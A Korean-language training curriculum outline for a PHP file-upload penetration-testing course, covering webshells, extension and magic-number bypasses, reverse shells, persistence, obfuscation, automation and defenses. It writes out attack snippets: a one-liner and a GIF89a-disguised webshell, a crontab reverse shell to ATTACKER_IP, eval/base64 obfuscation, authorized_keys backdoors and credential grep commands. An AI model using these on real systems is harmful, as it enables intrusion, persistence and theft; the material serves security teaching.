File Upload 취약점 교육 커리큘럼¶
목적: 파일 업로드 취약점을 찾는 기본 과정부터 고도화 기법까지 (초/중급)
범위: 블랙박스 기반 → 침투 테스트 단계 진입까지
분량: 약 100페이지
언어/환경: PHP 기반 웹 애플리케이션
Part 1. 개요 및 환경 구성 (~10p)¶
Ch 1. 교육 개요 (2p)¶
- 교육 목적 및 학습 목표
- 파일 업로드 취약점의 발견 → 공격 → 우회 → 고도화 → 자동화 전체 흐름 습득
- 블랙박스 관점에서 취약점을 식별하고 침투 테스트 단계로 연결하는 역량 확보
- 대상 수강생 및 선수지식
- HTTP 프로토콜 기본 이해
- Linux 기본 명령어 사용 가능
- PHP 코드 기본 해독 가능
- Burp Suite 기본 사용 가능
- 교육 전체 흐름 요약도 (킬체인 다이어그램)
- 법적 고지 및 윤리적 사용 범위
Ch 2. 실습 환경 구성 (4p)¶
- 실습 환경 아키텍처 설명
- 웹 서버 구성 (Apache/Nginx + PHP)
- 접근 제한 설정 (네트워크 격리, 인증 기반 접근 통제)
- 소스코드 보호 방안 (디렉토리 리스팅 차단, 권한 분리)
- 사용 도구 소개 및 설정
- Burp Suite (Proxy, Repeater, Intruder)
- Python requests 라이브러리
- curl 기본 사용법
- 텍스트 에디터 (웹쉘 작성용)
- [실습] 환경 접속 및 정상 동작 확인
- 실습 서버 접속
- 정상 파일 업로드 테스트
- Burp Suite Proxy 설정 및 요청 캡처 확인
Ch 3. 파일 업로드 프로세스 이해 (4p)¶
- HTTP 멀티파트 요청 구조 (multipart/form-data)
- 바운더리(Boundary) 개념
- Content-Disposition, Content-Type 헤더 역할
- 파일 데이터 전송 구조
- 클라이언트 → 서버 간 파일 전송 흐름
- 브라우저에서 요청 생성 → 서버 수신 → 임시 저장 → 검증 → 최종 저장
- 서버 사이드 파일 처리 과정
- PHP의
$_FILES배열 구조 move_uploaded_file()동작 방식- 임시 디렉토리(
/tmp) → 최종 저장 경로 - 취약점 발생 지점 및 원인 분류
- 검증 부재, 불충분한 검증, 검증 우회 가능, 저장 경로 문제
- [실습] Burp Suite로 정상 업로드 요청 캡처 및 멀티파트 구조 분석
Part 2. 정찰 및 열거 (~10p)¶
Ch 4. 업로드 포인트 발견 (5p)¶
- 블랙박스 관점에서 업로드 기능 찾기
- 화면에 보이는 업로드 폼 식별 (프로필 사진, 게시판 첨부파일, 문서 업로드 등)
- 숨겨진 업로드 엔드포인트 탐색
- 디렉토리/파일 스캔 (gobuster, dirsearch, ffuf)
- robots.txt, sitemap.xml 분석
- 관리자 페이지, API 문서, Swagger UI 등에서 업로드 기능 확인
- 서버 스택 식별
- 응답 헤더 분석 (X-Powered-By, Server 헤더)
- 에러 페이지를 통한 서버 정보 유출
- 확장자 기반 서버 환경 추측 (.php, .asp, .jsp)
- 기본 파일 존재 여부 확인 (phpinfo.php, info.php 등)
- [실습] 디렉토리 스캔 + 응답 헤더 분석으로 서버 환경 파악
Ch 5. 업로드 파일 경로 확인 (5p)¶
- 업로드 후 응답에서 경로 추출
- HTTP 응답 본문 내 파일 경로/URL 포함 여부
- Location 헤더 리다이렉트 확인
- JSON 응답 내 파일 경로 필드 분석
- 예측 가능한 파일명/경로 패턴 분석
/uploads/,/files/,/attachments/등 일반적인 경로- 원본 파일명 유지 vs 랜덤 파일명 생성 패턴
- 타임스탬프, 사용자 ID 기반 파일명 패턴
- 디렉토리 리스팅 활용
- 디렉토리 리스팅이 활성화된 경우 직접 확인
- 업로드 경로 브루트포싱
- 일반적인 업로드 디렉토리 워드리스트 활용
- [실습] 업로드 후 파일 접근 경로를 찾아 웹 브라우저에서 직접 접근 확인
Part 3. 기본 공격 기법 (~18p)¶
Ch 6. 웹쉘 이해 및 작성 (8p)¶
- 웹쉘이란 무엇인가
- 정의 및 동작 원리
- 일반 PHP 파일과 웹쉘의 차이
- 웹쉘의 위험성과 공격자 관점에서의 가치
- PHP 웹쉘 기본 구조
-
명령 실행 함수 비교 및 특성
함수 반환값 특징 system()마지막 줄 출력을 직접 브라우저에 표시 exec()마지막 줄 출력 배열로 받을 수 있음 passthru()없음 바이너리 데이터 직접 출력 shell_exec()전체 출력 백틱(``)과 동일 popen()파일 포인터 프로세스와 파이프 통신 proc_open()리소스 stdin/stdout/stderr 개별 제어 -
원라이너(One-liner) 웹쉘 작성
<?php system($_GET['cmd']); ?>- GET/POST/REQUEST 파라미터 수신 방식 비교
- 기능 확장 웹쉘 (파일 탐색, 파일 읽기/쓰기, 다운로드 기능 포함)
- PHP 서버 설정과 실행 조건
- Apache mod_php vs PHP-FPM 동작 방식 차이
.php확장자와 핸들러 매핑 관계-
php.ini 주요 보안 설정
설정 설명 공격 영향 disable_functions비활성화할 함수 목록 명령 실행 함수 차단 시 웹쉘 무력화 open_basedirPHP 파일 접근 제한 경로 지정 경로 외 파일 접근 차단 allow_url_fopen원격 URL 파일 접근 허용 RFI 공격에 필요 allow_url_include원격 URL include 허용 RFI 공격에 필요 -
실행이 안 되는 경우 원인 분석 흐름도
- [실습] 기본 웹쉘 작성 → 업로드 → 명령 실행 확인
Ch 7. 웹쉘 실행 결과 활용 (5p)¶
- 서버 정보 수집 (수동)
- 현재 사용자 및 권한 확인:
whoami,id - 시스템 정보:
uname -a,cat /etc/os-release - 네트워크 정보:
ifconfig,ip addr,netstat -tlnp - 프로세스 확인:
ps aux - 디스크/마운트:
df -h,mount - 파일 시스템 탐색
- 웹 루트 디렉토리 확인 및 설정 파일 탐색
- 데이터베이스 접속 정보가 포함된 설정 파일 식별
/etc/passwd,/etc/shadow접근 가능 여부 확인- SUID 바이너리 탐색:
find / -perm -4000 2>/dev/null - 수집 정보 정리 및 활용 방안
- 어떤 정보가 후속 공격에 유용한지 판단 기준
- 수집 결과를 기반으로 한 공격 벡터 식별
- [실습] 웹쉘을 통한 서버 내부 정보 수집 (항목별 수동 실습)
Ch 8. 서버 설정 미흡 사례 분석 (5p)¶
- Apache 설정에서 PHP 실행이 허용되는 조건
AddHandler/AddType디렉티브 설정<Directory>블록별 실행 권한 설정.htaccess의AllowOverride설정과 영향- Nginx + PHP-FPM 환경에서의 실행 조건
location블록의.php매칭 규칙fastcgi_pass설정과 파일 실행 관계- PATH_INFO 취약점 (
cgi.fix_pathinfo=1) - 업로드 디렉토리에 실행 권한이 있는 경우
- DocumentRoot 내 업로드 저장 시 직접 접근 가능한 구조
- 업로드 디렉토리와 웹 접근 가능 디렉토리의 분리 여부
- 설정별 공격 성공/실패 비교
- 동일 웹쉘, 다른 서버 설정에서의 결과 차이
- [실습] 서버 설정 차이에 따른 공격 성공/실패 비교 확인
Part 4. 방어 우회 기법 (~22p)¶
Ch 9. 확장자 기반 우회 — Blacklist Bypass (6p)¶
- 블랙리스트 검증 방식의 한계
- "허용하지 않는 것만 차단" 방식의 구조적 문제
- 대체 확장자 활용
| 확장자 | 설명 |
|---|---|
.php3, .php4, .php5, .php7 |
PHP 버전별 대체 확장자 |
.phtml |
PHP 코드 포함 가능한 HTML |
.phar |
PHP Archive (실행 가능) |
.phps |
PHP Source (설정에 따라 실행) |
.inc |
Include 파일 (설정에 따라 실행) |
- 대소문자 우회:
.pHp,.PHP,.Php - 특수문자/공백 삽입
- 끝에 점 추가:
file.php. - 끝에 공백 추가:
file.php(Windows 환경) - Null byte:
file.php%00.jpg(PHP 5.x) - Windows 스트림:
file.php::$DATA - 더블 확장자:
file.php.jpg,file.jpg.php - Apache의 확장자 파싱 순서 활용
- [실습] 블랙리스트 필터링 환경에서 다양한 확장자로 업로드 시도, 실행 가능한 확장자 탐색
Ch 10. Whitelist Bypass (5p)¶
- 화이트리스트 검증 방식과 우회 전략
- "허용하는 것만 통과" 방식의 강점과 우회 가능 지점
- Null Byte Injection (PHP 5.3.4 이하)
file.php%00.jpg→ 서버에서.jpg로 통과, 파일 시스템에서.php로 저장- PHP 버전별 동작 차이 설명
.htaccess업로드를 통한 핸들러 재정의.htaccess파일 자체를 업로드AddType application/x-httpd-php .jpg설정으로 이미지 확장자를 PHP로 실행AllowOverride설정이All또는FileInfo일 때 가능.user.ini업로드를 통한auto_prepend_file활용- PHP-FPM 환경에서
.user.ini동작 원리 auto_prepend_file=webshell.jpg설정- 모든 PHP 요청 시 웹쉘 코드가 자동 포함되는 원리
.user.ini캐시 시간(user_ini.cache_ttl) 고려- [실습]
.htaccess또는.user.ini업로드로 이미지 확장자 파일을 PHP로 실행
Ch 11. Content-Type Bypass (4p)¶
- Content-Type 헤더 기반 검증 방식
- 서버에서
$_FILES['file']['type']값을 확인하는 방식 - 이 값이 클라이언트에서 설정되므로 신뢰할 수 없는 이유
- Burp Suite에서 Content-Type 변조
- 요청 인터셉트 → Content-Type 필드 수정
application/x-php→image/jpeg로 변경- 주요 MIME 타입 정리
| 확장자 | Content-Type |
|---|---|
| .jpg | image/jpeg |
| .png | image/png |
| .gif | image/gif |
| application/pdf | |
| .php | application/x-httpd-php |
- 서버 사이드 vs 클라이언트 사이드 Content-Type 검증 차이
- 클라이언트: JavaScript 기반 검증 (프록시로 우회 가능)
- 서버:
$_FILES기반 검증 (여전히 변조 가능) - 서버:
finfo_file()/mime_content_type()기반 검증 (파일 내용 기반, 더 강력) - [실습] Burp Suite에서 Content-Type을 변조하여 웹쉘 업로드
Ch 12. Magic Number (File Signature) Bypass (4p)¶
- 파일 시그니처(매직 넘버)란 무엇인가
- 파일의 처음 몇 바이트로 파일 형식을 식별
file명령어,finfo_file()등의 판별 기준- 주요 파일 포맷의 매직 넘버
| 파일 형식 | 매직 넘버 (Hex) | 매직 넘버 (ASCII) |
|---|---|---|
| GIF | 47 49 46 38 39 61 |
GIF89a |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
.PNG.... |
| JPEG | FF D8 FF |
— |
25 50 44 46 |
%PDF |
|
| ZIP | 50 4B 03 04 |
PK.. |
- 매직 넘버를 활용한 우회 기법
- 파일 앞부분에 매직 넘버 삽입 + PHP 코드 뒤에 배치
- 예:
GIF89a<?php system($_GET['cmd']); ?> - Polyglot 파일 제작
- 실제 이미지로도 열리고 PHP로도 실행되는 파일
- JPEG/PNG 메타데이터(EXIF, Comment) 영역에 PHP 코드 삽입
exiftool을 이용한 메타데이터 삽입- [실습] GIF89a 헤더를 추가한 웹쉘 제작 및 업로드, 정상 이미지 내 코드 삽입
Ch 13. 복합 우회 (3p)¶
- 실무 환경에서의 다중 검증 적용
- 확장자 + Content-Type + Magic Number + 파일 크기 등 다중 검증
- 복합 우회 전략 수립
- 각 검증 레이어를 하나씩 분석하고 순차적으로 우회
- 우회 조건 조합 매트릭스 정리
- [실습] 다중 검증이 적용된 환경에서 확장자 + Content-Type + Magic Number 동시 우회 수행
Part 5. 고도화 기법 (~22p)¶
Ch 14. Reverse Shell 연결 (6p)¶
- 웹쉘의 한계
- 비대화형(Non-interactive) 환경
- 요청 기반 동작 (매번 HTTP 요청 필요)
- 웹 서버 로그에 모든 명령이 기록됨
- 세션/연결 유지 어려움
- Reverse Shell 개념 및 동작 원리
- Bind Shell vs Reverse Shell 비교
- 공격자 측에서 리스너를 열고 대상 서버가 연결하는 구조
- 방화벽 아웃바운드 규칙에 따른 성공/실패 조건
- PHP 기반 리버스쉘 코드 작성
fsockopen()+proc_open()조합exec()+ bash 리다이렉션 방식- 사전 제작된 리버스쉘 스크립트 활용 (pentestmonkey 등)
- netcat / socat을 이용한 리스너 설정
nc -lvnp 4444- socat을 이용한 안정적인 TTY 쉘 획득
- 쉘 업그레이드 (반대화형 → 완전 대화형)
python -c 'import pty;pty.spawn("/bin/bash")'stty raw -echo; fg패턴- [실습] 웹쉘을 통해 리버스쉘 연결 수립 및 대화형 쉘 획득
Ch 15. 공격 지속성 확보 (5p)¶
- 지속성 확보의 필요성
- 웹쉘 삭제 시 접근 불가
- 서버 재시작 시 리버스쉘 연결 끊김
- crontab을 이용한 주기적 콜백 등록
- crontab 기본 문법
- 리버스쉘 자동 재연결 스크립트 등록
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'- 백도어 웹쉘 은닉
- 정상 PHP 파일 내 코드 삽입 (기존 파일 변조)
- 눈에 띄지 않는 디렉토리에 웹쉘 배치
- 파일 타임스탬프 변조 (
touch -r reference_file backdoor.php) - SSH 키 등록을 통한 접근 유지
~/.ssh/authorized_keys에 공격자 공개키 추가- SSH 접근 가능 시 웹쉘 의존도 제거
- [실습] crontab 등록으로 리버스쉘 자동 재연결 구성 및 백도어 은닉
Ch 16. 웹쉘 탐지 우회 (5p)¶
- 기본 웹쉘이 탐지되는 이유
- 시그니처 기반 탐지:
system(),exec(),eval()등의 패턴 매칭 - YARA 룰, AV 엔진의 웹쉘 탐지 원리
- WAF(Web Application Firewall)의 요청/응답 검사
- 난독화 기법 (Obfuscation)
- 변수 치환: 함수명을 변수에 저장하여 호출
$a='sys'.'tem'; $a($cmd);
- Base64 인코딩 + eval 체인
eval(base64_decode('...'))
- 다중 인코딩 중첩 (Base64 → ROT13 → Hex 등)
- 동적 함수 호출
$f = $_GET['f']; $f($_GET['c']);(함수명도 파라미터로 수신)
- 짧은 태그 활용:
<?=(short_open_tag) - 대체 구문 활용:
`(백틱 연산자) assert(),preg_replace()(e modifier, PHP 5.x),create_function()등 비표준 실행 함수- WAF 우회 기법 (기초)
- 요청 분할 (chunked encoding)
- 멀티파트 바운더리 조작
- 파라미터 오염 (HPP, HTTP Parameter Pollution)
- 인코딩 변환 (UTF-8 vs UTF-7 등)
- [실습] 난독화된 웹쉘 제작 → 기본 탐지 규칙 우회 테스트
Ch 17. 숨겨진 업로드 기능 공격 (6p)¶
- 업로드 폼이 UI에 없는 경우의 접근 방법
- 프론트엔드에 업로드 UI가 없어도 백엔드에 업로드 API가 존재할 수 있음
- 개발 중 비활성화된 기능, 관리자 전용 기능, 레거시 엔드포인트
- 클라이언트 사이드 JavaScript 코드 분석
- 브라우저 개발자 도구 → Sources 탭에서 JS 파일 확인
- Network 탭에서 API 호출 패턴 분석
- JS 소스에서
fetch(),XMLHttpRequest,axios호출 추적 - 검색 키워드:
upload,file,attach,multipart,FormData - Webpack/번들링된 JS에서 API 엔드포인트 추출
- 주석 처리되거나 조건부 비활성화된 업로드 기능 발견
- API 엔드포인트 직접 호출로 파일 업로드
- JavaScript 분석 결과를 기반으로 요청 재구성
- 필요한 헤더, 쿠키, 토큰 등 인증 정보 포함
- 도구별 직접 요청 구성
- Burp Suite Repeater: 수동 멀티파트 요청 작성
- curl: 커맨드라인에서 파일 업로드 요청
- Python requests: 스크립트 기반 자동화 요청
- [실습] 숨겨진 API 엔드포인트를 JavaScript 분석으로 발견하고 파일 업로드 수행
Part 6. 자동화 (~13p)¶
Ch 18. 업로드 가능 확장자 탐색 자동화 (5p)¶
- 자동화의 필요성
- 수십 개의 확장자를 수동으로 하나씩 테스트하는 비효율
- 확장자 + Content-Type 조합까지 고려하면 경우의 수 폭증
- Python 스크립트 설계
requests라이브러리를 이용한 멀티파트 파일 업로드- 확장자 사전(wordlist) 구성 (PHP 관련 확장자 리스트)
- 응답 기반 성공/실패 판별 로직 (상태 코드, 응답 본문 키워드)
- 업로드 성공 후 해당 파일에 접근하여 실행 가능 여부까지 자동 확인
- 결과 출력 형식
- 확장자별 업로드 성공 여부 + 실행 가능 여부 매트릭스
- [실습] 확장자 퍼징 스크립트 작성 및 실행
Ch 19. 서버 정보 일괄 추출 자동화 (4p)¶
- Ch 7에서 수동으로 수집한 정보를 한 번에 추출
- 웹쉘을 통해 여러 명령을 순차 실행하고 결과를 파일로 저장
- Python 자동화 스크립트 설계
- 웹쉘 URL + 파라미터를 이용한 자동 명령 실행
-
수집 항목 정의
카테고리 수집 명령 시스템 정보 uname -a,cat /etc/os-release,hostname사용자 정보 whoami,id,cat /etc/passwd네트워크 정보 ip addr,netstat -tlnp,cat /etc/hosts프로세스 ps aux크론잡 crontab -l,ls -la /etc/cron*SUID 바이너리 find / -perm -4000 2>/dev/null설정 파일 find /var/www -name '*.conf' -o -name '*.ini'DB 접속 정보 grep -r 'password\|passwd\|db_' /var/www/ -
수집 결과를 구조화된 텍스트 파일로 자동 저장
- 민감 정보(DB 비밀번호, API 키) 하이라이트 기능
- [실습] 서버 정보 일괄 추출 스크립트 작성 및 실행, 결과 파일 분석
Ch 20. 업로드 공격 자동화 확장 (4p)¶
- Content-Type + 확장자 조합 매트릭스 퍼징
- 확장자 리스트 × Content-Type 리스트 조합 자동 테스트
- 성공 조합 식별 및 결과 정리
- 업로드 → 경로 탐색 → 실행 확인 원스텝 자동화
- 업로드 → 응답에서 경로 추출 → 해당 경로 접근 → 실행 결과 확인
- 전체 과정을 하나의 스크립트로 체이닝
- Burp Suite Intruder를 활용한 반자동화
- Payload Position 설정 (파일명, Content-Type)
- 결과 필터링 및 분석
- [실습] 복합 조건 퍼징 스크립트 작성 및 Burp Intruder 활용 실습
Part 7. 방어 및 탐지 관점 (~5p)¶
Ch 21. 대응방안 종합 (5p)¶
- 안전한 파일 업로드 구현 체크리스트
- 확장자 검증: 화이트리스트 방식 적용 (허용 확장자만 통과)
- Content-Type 검증:
finfo_file()/mime_content_type()기반 서버 사이드 검증 - 파일 시그니처 검증: 매직 넘버 확인
- 이미지 재처리:
getimagesize()+ 이미지 리사이징/재인코딩 (코드 삽입 무력화) - 파일명 랜덤화: UUID 등으로 파일명 변경, 원본 파일명 미사용
- 저장 경로 분리: 웹 루트 외부에 저장, 별도 스토리지/CDN 활용
- 실행 권한 제거: 업로드 디렉토리에서 PHP/스크립트 실행 차단
- 서버 설정 하드닝
disable_functions: 명령 실행 함수 비활성화open_basedir: 파일 접근 경로 제한- Apache: 업로드 디렉토리에
php_flag engine off설정 - Nginx: 업로드 디렉토리에서
.phplocation 매칭 제외 .htaccess업로드 방지 (AllowOverride None)- WAF/IDS 탐지 룰 예시
- 웹쉘 시그니처 기반 탐지 룰
- 비정상 확장자 업로드 탐지
- 업로드 후 비정상 실행 패턴 탐지 (업로드 직후 해당 파일에 GET 요청)
- 로그 기반 탐지 포인트
- 웹 서버 액세스 로그에서 의심스러운 패턴
- 파일 시스템 모니터링 (inotify, auditd)
- PHP 에러 로그 분석
Part 8. 정리 (~3p)¶
Ch 22. 요약 및 실무 적용 (3p)¶
- 전체 공격 흐름 요약 (킬체인 다이어그램)
정찰/열거 → 업로드 포인트 발견 → 서버 스택 식별
↓
기본 공격 → 웹쉘 작성 → 업로드 → 경로 확인 → 명령 실행
↓
방어 우회 → 확장자/Content-Type/Magic Number/복합 우회
↓
고도화 → 리버스쉘 → 지속성 확보 → 탐지 우회
↓
자동화 → 확장자 퍼징 → 정보 수집 자동화 → 복합 퍼징
↓
침투 테스트 → 권한 상승 → 내부 피봇 → 목표 달성
- 침투테스트 보고서에서 파일 업로드 취약점 기술 방법
- 취약점 제목, 위험도(CVSS), 발견 위치
- 재현 절차 (스크린샷 포함)
- 영향도 분석 (RCE, 데이터 유출, 서비스 장악 등)
- 대응방안 (단기 조치 + 근본 대책)
- 다음 단계 학습 가이드
- 권한 상승 (Privilege Escalation)
- 내부 네트워크 피봇 (Lateral Movement)
- 다른 언어 환경의 파일 업로드 (JSP, ASP.NET)
- 클라우드 환경에서의 파일 업로드 (S3 Pre-signed URL 등)
페이지 배분 요약¶
| Part | 챕터 | 페이지 |
|---|---|---|
| Part 1. 개요 및 환경 구성 | Ch 1~3 | 10p |
| Part 2. 정찰 및 열거 | Ch 4~5 | 10p |
| Part 3. 기본 공격 기법 | Ch 6~8 | 18p |
| Part 4. 방어 우회 기법 | Ch 9~13 | 22p |
| Part 5. 고도화 기법 | Ch 14~17 | 22p |
| Part 6. 자동화 | Ch 18~20 | 13p |
| Part 7. 방어 및 탐지 관점 | Ch 21 | 5p |
| Part 8. 정리 | Ch 22 | 3p |
| 합계 | ~103p |
실습 목록 요약¶
| # | 챕터 | 실습 내용 |
|---|---|---|
| 1 | Ch 2 | 환경 접속 및 정상 동작 확인 |
| 2 | Ch 3 | Burp Suite로 멀티파트 요청 구조 분석 |
| 3 | Ch 4 | 디렉토리 스캔 + 서버 환경 파악 |
| 4 | Ch 5 | 업로드 파일 접근 경로 탐색 |
| 5 | Ch 6 | 기본 웹쉘 작성 → 업로드 → 명령 실행 |
| 6 | Ch 7 | 웹쉘을 통한 서버 정보 수집 (수동) |
| 7 | Ch 8 | 서버 설정별 공격 성공/실패 비교 |
| 8 | Ch 9 | 블랙리스트 환경에서 확장자 우회 |
| 9 | Ch 10 | .htaccess / .user.ini 업로드로 실행 우회 |
| 10 | Ch 11 | Content-Type 변조로 웹쉘 업로드 |
| 11 | Ch 12 | Magic Number 삽입 웹쉘 제작 및 업로드 |
| 12 | Ch 13 | 다중 검증 환경에서 복합 우회 |
| 13 | Ch 14 | 리버스쉘 연결 수립 및 대화형 쉘 획득 |
| 14 | Ch 15 | crontab 등록 및 백도어 은닉 |
| 15 | Ch 16 | 난독화 웹쉘 제작 및 탐지 우회 테스트 |
| 16 | Ch 17 | 숨겨진 API 엔드포인트 발견 및 업로드 |
| 17 | Ch 18 | 확장자 퍼징 스크립트 작성 및 실행 |
| 18 | Ch 19 | 서버 정보 일괄 추출 스크립트 작성 |
| 19 | Ch 20 | 복합 조건 퍼징 및 Burp Intruder 활용 |